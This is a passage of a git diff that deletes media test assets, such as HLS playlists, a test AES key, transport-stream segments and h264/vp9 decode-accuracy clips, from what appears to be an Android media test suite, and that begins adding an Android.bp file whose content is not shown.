--- a/tests/tests/media/assets/noiseandchirps.ogg
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/prog_index.m3u8 b/tests/tests/media/assets/prog_index.m3u8
deleted file mode 100644
index 88f99d3..0000000
--- a/tests/tests/media/assets/prog_index.m3u8
+++ /dev/null
@@ -1,10 +0,0 @@
-#EXTM3U
-#EXT-X-TARGETDURATION:10
-#EXT-X-VERSION:3
-#EXT-X-MEDIA-SEQUENCE:0
-#EXT-X-PLAYLIST-TYPE:VOD
-#EXTINF:9.90000,
-fileSequence0.ts
-#EXTINF:10.00000,
-fileSequence1.ts
-#EXT-X-ENDLIST
diff --git a/tests/tests/media/assets/ringer.mp3 b/tests/tests/media/assets/ringer.mp3
deleted file mode 100644
index aa052e7..0000000
--- a/tests/tests/media/assets/ringer.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/segment000000.ts b/tests/tests/media/assets/segment000000.ts
deleted file mode 100644
index 8992c7b..0000000
--- a/tests/tests/media/assets/segment000000.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/segment000001.ts b/tests/tests/media/assets/segment000001.ts
deleted file mode 100644
index fb112ec..0000000
--- a/tests/tests/media/assets/segment000001.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/00.key b/tests/tests/media/assets/unmuxed_1500k/00.key
deleted file mode 100644
index eb61918..0000000
--- a/tests/tests/media/assets/unmuxed_1500k/00.key
+++ /dev/null
@@ -1 +0,0 @@
-ëÝbñhÒ{hï*üä®<
\ No newline at end of file
diff --git a/tests/tests/media/assets/unmuxed_1500k/00.ts b/tests/tests/media/assets/unmuxed_1500k/00.ts
deleted file mode 100644
index 9891dc6..0000000
--- a/tests/tests/media/assets/unmuxed_1500k/00.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/01.ts b/tests/tests/media/assets/unmuxed_1500k/01.ts
deleted file mode 100644
index d374565..0000000
--- a/tests/tests/media/assets/unmuxed_1500k/01.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/02.ts b/tests/tests/media/assets/unmuxed_1500k/02.ts
deleted file mode 100644
index 6a6fbdb..0000000
--- a/tests/tests/media/assets/unmuxed_1500k/02.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/03.ts b/tests/tests/media/assets/unmuxed_1500k/03.ts
deleted file mode 100644
index cba18a5..0000000
--- a/tests/tests/media/assets/unmuxed_1500k/03.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/04.ts b/tests/tests/media/assets/unmuxed_1500k/04.ts
deleted file mode 100644
index bed2e63..0000000
--- a/tests/tests/media/assets/unmuxed_1500k/04.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/05.ts b/tests/tests/media/assets/unmuxed_1500k/05.ts
deleted file mode 100644
index 35504ca..0000000
--- a/tests/tests/media/assets/unmuxed_1500k/05.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/06.ts b/tests/tests/media/assets/unmuxed_1500k/06.ts
deleted file mode 100644
index 8456a79..0000000
--- a/tests/tests/media/assets/unmuxed_1500k/06.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/07.ts b/tests/tests/media/assets/unmuxed_1500k/07.ts
deleted file mode 100644
index e19ec6b..0000000
--- a/tests/tests/media/assets/unmuxed_1500k/07.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/08.ts b/tests/tests/media/assets/unmuxed_1500k/08.ts
deleted file mode 100644
index 9a695cd..0000000
--- a/tests/tests/media/assets/unmuxed_1500k/08.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/09.ts b/tests/tests/media/assets/unmuxed_1500k/09.ts
deleted file mode 100644
index eecdb09..0000000
--- a/tests/tests/media/assets/unmuxed_1500k/09.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/10.ts b/tests/tests/media/assets/unmuxed_1500k/10.ts
deleted file mode 100644
index ce1383a..0000000
--- a/tests/tests/media/assets/unmuxed_1500k/10.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/11.ts b/tests/tests/media/assets/unmuxed_1500k/11.ts
deleted file mode 100644
index 99a9ba2..0000000
--- a/tests/tests/media/assets/unmuxed_1500k/11.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/12.ts b/tests/tests/media/assets/unmuxed_1500k/12.ts
deleted file mode 100644
index e63f897..0000000
--- a/tests/tests/media/assets/unmuxed_1500k/12.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/13.ts b/tests/tests/media/assets/unmuxed_1500k/13.ts
deleted file mode 100644
index 50010e2..0000000
--- a/tests/tests/media/assets/unmuxed_1500k/13.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/14.ts b/tests/tests/media/assets/unmuxed_1500k/14.ts
deleted file mode 100644
index 8667a91..0000000
--- a/tests/tests/media/assets/unmuxed_1500k/14.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/15.ts b/tests/tests/media/assets/unmuxed_1500k/15.ts
deleted file mode 100644
index 124b1b5..0000000
--- a/tests/tests/media/assets/unmuxed_1500k/15.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/index.m3u8 b/tests/tests/media/assets/unmuxed_1500k/index.m3u8
deleted file mode 100644
index ee979a2..0000000
--- a/tests/tests/media/assets/unmuxed_1500k/index.m3u8
+++ /dev/null
@@ -1,37 +0,0 @@
-#EXTM3U
-#EXT-X-INDEPENDENT-SEGMENTS
-#EXT-X-VERSION:5
-#EXT-X-TARGETDURATION:10
-#EXT-X-PLAYLIST-TYPE:VOD
-#EXT-X-KEY:METHOD=SAMPLE-AES,URI="00.key",IV=0x10428210ced85ee2ece4f45206ba81ce
-#EXTINF:5.04167,
-00.ts
-#EXTINF:6.83333,
-01.ts
-#EXTINF:3.875,
-02.ts
-#EXTINF:7.29167,
-03.ts
-#EXTINF:10,
-04.ts
-#EXTINF:10,
-05.ts
-#EXTINF:4.66667,
-06.ts
-#EXTINF:8.375,
-07.ts
-#EXTINF:7.70833,
-08.ts
-#EXTINF:9.66667,
-09.ts
-#EXTINF:6.5,
-10.ts
-#EXTINF:9.79167,
-11.ts
-#EXTINF:10,
-12.ts
-#EXTINF:4.16667,
-13.ts
-#EXTINF:8.75,
-14.ts
-#EXT-X-ENDLIST
\ No newline at end of file
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1216x2160_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1216x2160_30fps.mp4
deleted file mode 100644
index d66b238..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1216x2160_30fps.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1280x544_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1280x544_30fps.mp4
deleted file mode 100644
index e46a7c7..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1280x544_30fps.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1280x720_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1280x720_30fps.mp4
deleted file mode 100644
index 8af2cf1..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1280x720_30fps.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_136x240_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_136x240_30fps.mp4
deleted file mode 100644
index 92815cb..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_136x240_30fps.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1440x1080_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1440x1080_30fps.mp4
deleted file mode 100644
index ec81fe7..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1440x1080_30fps.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1920x1080_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1920x1080_30fps.mp4
deleted file mode 100644
index 97e4958..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1920x1080_30fps.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1920x1440_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1920x1440_30fps.mp4
deleted file mode 100644
index 6e22847..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1920x1440_30fps.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1920x818_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1920x818_30fps.mp4
deleted file mode 100644
index 9c061e0..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_1920x818_30fps.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_192x144_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_192x144_30fps.mp4
deleted file mode 100644
index 58d899d..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_192x144_30fps.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_202x360_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_202x360_30fps.mp4
deleted file mode 100644
index ade1d8e..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_202x360_30fps.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_2560x1090_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_2560x1090_30fps.mp4
deleted file mode 100644
index fc5a7b82..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_2560x1090_30fps.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_2560x1440_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_2560x1440_30fps.mp4
deleted file mode 100644
index 52d2466..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_2560x1440_30fps.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_256x108_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_256x108_30fps.mp4
deleted file mode 100644
index 55b2a50..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_256x108_30fps.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_256x144_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_256x144_30fps.mp4
deleted file mode 100644
index 34bef63..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_256x144_30fps.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_270x480_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_270x480_30fps.mp4
deleted file mode 100644
index dd8ff39..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_270x480_30fps.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_2880x2160_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_2880x2160_30fps.mp4
deleted file mode 100644
index 2437833..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_2880x2160_30fps.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_320x240_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_320x240_30fps.mp4
deleted file mode 100644
index 1e249f3..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_320x240_30fps.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_3840x1634_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_3840x1634_30fps.mp4
deleted file mode 100644
index 7d52627..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_3840x1634_30fps.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_3840x2160_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_3840x2160_30fps.mp4
deleted file mode 100644
index a44925b..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_3840x2160_30fps.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_406x720_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_406x720_30fps.mp4
deleted file mode 100644
index 8ca7660..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_406x720_30fps.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_426x182_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_426x182_30fps.mp4
deleted file mode 100644
index e190f9f..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_426x182_30fps.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_426x240_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_426x240_30fps.mp4
deleted file mode 100644
index 01f33de..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_426x240_30fps.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_480x360_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_480x360_30fps.mp4
deleted file mode 100644
index 2163aebe..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_480x360_30fps.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_608x1080_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_608x1080_30fps.mp4
deleted file mode 100644
index 5bae22d9..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_608x1080_30fps.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_640x272_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_640x272_30fps.mp4
deleted file mode 100644
index 34738b0..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_640x272_30fps.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_640x360_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_640x360_30fps.mp4
deleted file mode 100644
index 257037c..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_640x360_30fps.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_640x480_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_640x480_30fps.mp4
deleted file mode 100644
index 6caa288..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_640x480_30fps.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_810x1440_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_810x1440_30fps.mp4
deleted file mode 100644
index 081a5d3..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_810x1440_30fps.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_82x144_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_82x144_30fps.mp4
deleted file mode 100644
index 48463db..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_82x144_30fps.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_854x362_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_854x362_30fps.mp4
deleted file mode 100644
index bfe1fe0..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_854x362_30fps.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_854x480_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_854x480_30fps.mp4
deleted file mode 100644
index 97df960..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_854x480_30fps.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_960x720_30fps.mp4 b/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_960x720_30fps.mp4
deleted file mode 100644
index 671329e..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-h264_960x720_30fps.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1216x2160_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1216x2160_30fps.webm
deleted file mode 100644
index 3e987e0..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1216x2160_30fps.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1280x544_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1280x544_30fps.webm
deleted file mode 100644
index 4453d53..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1280x544_30fps.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1280x720_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1280x720_30fps.webm
deleted file mode 100644
index 086a0ee..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1280x720_30fps.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_136x240_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_136x240_30fps.webm
deleted file mode 100644
index 6b54d00..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_136x240_30fps.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1440x1080_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1440x1080_30fps.webm
deleted file mode 100644
index edf8a42..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1440x1080_30fps.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1920x1080_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1920x1080_30fps.webm
deleted file mode 100644
index b8515e5..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1920x1080_30fps.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1920x1440_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1920x1440_30fps.webm
deleted file mode 100644
index 6c6f219..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1920x1440_30fps.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1920x818_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1920x818_30fps.webm
deleted file mode 100644
index 1870a54..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_1920x818_30fps.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_192x144_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_192x144_30fps.webm
deleted file mode 100644
index 45dcd2b..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_192x144_30fps.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_202x360_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_202x360_30fps.webm
deleted file mode 100644
index 74e4e89..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_202x360_30fps.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_2560x1090_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_2560x1090_30fps.webm
deleted file mode 100644
index 20eef7d..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_2560x1090_30fps.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_2560x1440_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_2560x1440_30fps.webm
deleted file mode 100644
index 2108a75..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_2560x1440_30fps.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_256x108_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_256x108_30fps.webm
deleted file mode 100644
index 2242a44..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_256x108_30fps.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_256x144_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_256x144_30fps.webm
deleted file mode 100644
index 48962e8..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_256x144_30fps.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_270x480_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_270x480_30fps.webm
deleted file mode 100644
index 121e955..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_270x480_30fps.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_2880x2160_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_2880x2160_30fps.webm
deleted file mode 100644
index e95fc45..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_2880x2160_30fps.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_320x240_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_320x240_30fps.webm
deleted file mode 100644
index e105985..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_320x240_30fps.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_3840x1634_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_3840x1634_30fps.webm
deleted file mode 100644
index a3ade36..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_3840x1634_30fps.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_3840x2160_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_3840x2160_30fps.webm
deleted file mode 100644
index e94d4da..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_3840x2160_30fps.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_406x720_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_406x720_30fps.webm
deleted file mode 100644
index 7b903de..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_406x720_30fps.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_426x182_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_426x182_30fps.webm
deleted file mode 100644
index a37299c..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_426x182_30fps.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_426x240_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_426x240_30fps.webm
deleted file mode 100644
index 85974a8..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_426x240_30fps.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_480x360_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_480x360_30fps.webm
deleted file mode 100644
index efb8747ff..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_480x360_30fps.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_608x1080_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_608x1080_30fps.webm
deleted file mode 100644
index af82abf..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_608x1080_30fps.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_640x272_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_640x272_30fps.webm
deleted file mode 100644
index e8ff426..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_640x272_30fps.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_640x360_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_640x360_30fps.webm
deleted file mode 100644
index bb40cd8..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_640x360_30fps.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_640x480_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_640x480_30fps.webm
deleted file mode 100644
index d252278..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_640x480_30fps.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_810x1440_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_810x1440_30fps.webm
deleted file mode 100644
index 853981a..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_810x1440_30fps.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_82x144_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_82x144_30fps.webm
deleted file mode 100644
index b6dc9a5..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_82x144_30fps.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_854x362_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_854x362_30fps.webm
deleted file mode 100644
index cbc6b2cc..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_854x362_30fps.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_854x480_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_854x480_30fps.webm
deleted file mode 100644
index adef5bc..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_854x480_30fps.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_960x720_30fps.webm b/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_960x720_30fps.webm
deleted file mode 100644
index 44c0b82..0000000
--- a/tests/tests/media/assets/video_decode_accuracy_and_capability-vp9_960x720_30fps.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_with_cropping-h264_520x360_30fps.mp4 b/tests/tests/media/assets/video_decode_with_cropping-h264_520x360_30fps.mp4
deleted file mode 100644
index 9a899b2..0000000
--- a/tests/tests/media/assets/video_decode_with_cropping-h264_520x360_30fps.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/assets/video_decode_with_cropping-vp9_520x360_30fps.webm b/tests/tests/media/assets/video_decode_with_cropping-vp9_520x360_30fps.webm
deleted file mode 100644
index df2723c..0000000
--- a/tests/tests/media/assets/video_decode_with_cropping-vp9_520x360_30fps.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/audio/Android.bp b/tests/tests/media/audio/Android.bp
new file mode 100644
index 0000000..e7f1363
--- /dev/null
+++ b/tests/tests/media/audio/Android.bp
@@ -0,0 +1,104 @@
